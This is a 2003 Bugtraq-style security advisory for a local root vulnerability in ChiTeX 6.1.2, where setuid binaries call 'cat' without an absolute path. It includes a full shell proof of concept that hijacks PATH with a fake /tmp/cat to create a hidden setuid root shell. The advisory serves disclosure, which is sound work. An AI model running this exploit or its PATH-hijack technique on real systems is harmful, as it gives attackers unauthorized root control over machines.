ChiTeX Local Privilege Escalation Vulnerability

Bugtraq ID:	7263
Class:	Design Error
CVE:
Remote:	No
Local:	Yes
Published:	Apr 03 2003 12:00AM
Updated:	Apr 03 2003 12:00AM
Credit:	Discovery of this vulnerability credited to zillion.
Vulnerable:	ChiTeX ChiTeX 6.1.2 p7.8
Not Vulnerable:

ChiTeX Local Privilege Escalation Vulnerability

A vulnerability in ChiTex has been reported that may allow local users to obtain root privileges on vulnerable systems. The vulnerability exists due to the existence of two setuid root binaries that execute the 'cat' program without an absolute path.

An attacker can exploit this vulnerability by creating a malicious 'cat' file and invoking the setuid binaries. This will result in the execution of the attacker-supplied 'cat' file with root privileges.

ChiTeX Local Privilege Escalation Vulnerability

The following proof of concept was provided:

#!/bin/sh
echo 'owned' > 'psfontsmap@'
export psfontsmap=/tmp/owned
echo "/bin/cp /bin/sh /tmp/.sh" > /tmp/cat
echo "/bin/chmod 4755 /tmp/.sh" >> /tmp/cat
chmod +x /tmp/cat
cd /tmp
export PATH="/tmp:$PATH"
/usr/local/bin/chaddpfbname
/tmp/.sh -c id
/tmp/.sh

ChiTeX Local Privilege Escalation Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

ChiTeX Local Privilege Escalation Vulnerability

References:

• ChiTeX (ChiTeX)
  
• ChiTeX local root vulnerability (Zillion)